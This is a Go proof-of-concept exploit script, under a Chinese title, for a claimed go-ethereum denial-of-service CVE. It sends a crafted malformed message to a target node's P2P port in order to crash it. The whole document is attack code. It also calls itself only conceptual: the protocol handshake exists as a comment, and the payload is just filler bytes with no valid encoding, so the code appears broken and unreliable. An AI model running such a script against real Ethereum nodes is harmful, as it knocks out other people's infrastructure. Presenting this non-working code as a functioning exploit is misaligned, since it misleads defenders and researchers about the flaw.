CVE-2026-22868 go-ethereum节点拒绝服务漏洞

// CVE-2026-22868 PoC - go-ethereum DoS vulnerability // This PoC demonstrates sending a malformed message to trigger node crash package main import ( "bytes" "encoding/binary" "fmt" "net" "time" ) const ( ETH_PROTOCOL = 17 GETH_VERSION = 66 ) func createMalformedMessage() []byte { // Create a malformed eth protocol message // This exploits the vulnerability in message handling var msg bytes.Buffer // Message code for status (0x00) - often processed early msg.WriteByte(0x00) // Create malformed data that triggers the vulnerability // The exact structure depends on the specific vulnerability malformedData := make([]byte, 256) for i := range malformedData { malformedData[i] = 0xFF } // RLP encode the data incorrectly msg.Write(malformedData) return msg.Bytes() } func sendExploit(targetIP string, port int) error { addr := fmt.Sprintf("%s:%d", targetIP, port) conn, err := net.DialTimeout("tcp", addr, 10*time.Second) if err != nil { return fmt.Errorf("connection failed: %v", err) } defer conn.Close() // Perform eth protocol handshake // Then send malformed message msg := createMalformedMessage() // Send the malicious message _, err = conn.Write(msg) if err != nil { return fmt.Errorf("send failed: %v", err) } return nil } func main() { targetIP := "<TARGET_NODE_IP>" port := 30303 // Default P2P port fmt.Printf("Attempting to exploit CVE-2026-22868 on %s:%d\n", targetIP, port) err := sendExploit(targetIP, port) if err != nil { fmt.Printf("Exploit failed: %v\n", err) } else { fmt.Println("Malformed message sent successfully") } } // Note: This is a conceptual PoC. The actual exploit requires // understanding the specific message format and protocol state machine. // Refer to the official security advisory for complete details: // https://github.com/ethereum/go-ethereum/security/advisories/GHSA-mq3p-rrmp-79jg